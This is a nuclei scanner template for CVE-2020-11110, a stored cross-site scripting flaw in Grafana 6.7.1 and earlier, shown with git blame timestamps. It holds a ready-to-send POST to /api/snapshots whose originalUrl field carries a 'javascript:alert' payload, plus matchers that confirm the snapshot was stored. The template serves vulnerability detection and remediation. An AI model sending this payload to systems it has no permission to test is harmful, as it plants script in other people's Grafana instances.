nuclei-templates/http/cves/2020/CVE-2020-11110.yaml

69 lines
2.8 KiB
YAML
Raw Normal View History

2021-06-20 14:30:19 +00:00
id: CVE-2020-11110
info:
name: Grafana <= 6.7.1 - Cross-Site Scripting
2021-06-20 14:30:19 +00:00
author: emadshanab
severity: medium
description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
2023-09-06 12:22:36 +00:00
remediation: This issue can be resolved by updating Grafana to the latest version.
reference:
- https://github.com/grafana/grafana/pull/23254
- https://security.netapp.com/advisory/ntap-20200810-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://hackerone.com/reports/1329433
2023-07-15 16:29:17 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-11110
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.00179
epss-percentile: 0.54976
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-07-07 10:16:13 +00:00
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: grafana
product: grafana
2023-09-06 12:22:36 +00:00
shodan-query: title:"Grafana"
tags: cve,cve2020,xss,grafana,hackerone
http:
2021-06-20 14:30:19 +00:00
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
matchers-condition: and
matchers:
- type: word
part: header
words:
- application/json
- type: word
part: body
words:
- '"deleteKey":'
- '"deleteUrl":'
condition: and
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
2021-06-20 14:30:19 +00:00
extractors:
- type: regex
group: 1
regex:
- '"url":"([a-z:/0-9A-Z]+)"'
2023-07-11 19:49:27 +00:00
part: body
# digest: 4a0a00473045022022ba31a5fab6d19b0b27b3760e4dbd8fcabef4cebb9ab4df9a404ee9d95812590221008647a0d97c9ab864401a5f4ad9c483d1bf2bc395abfbc34f60a3a38743c977ee:922c64590222798bb761d5b6d8e72950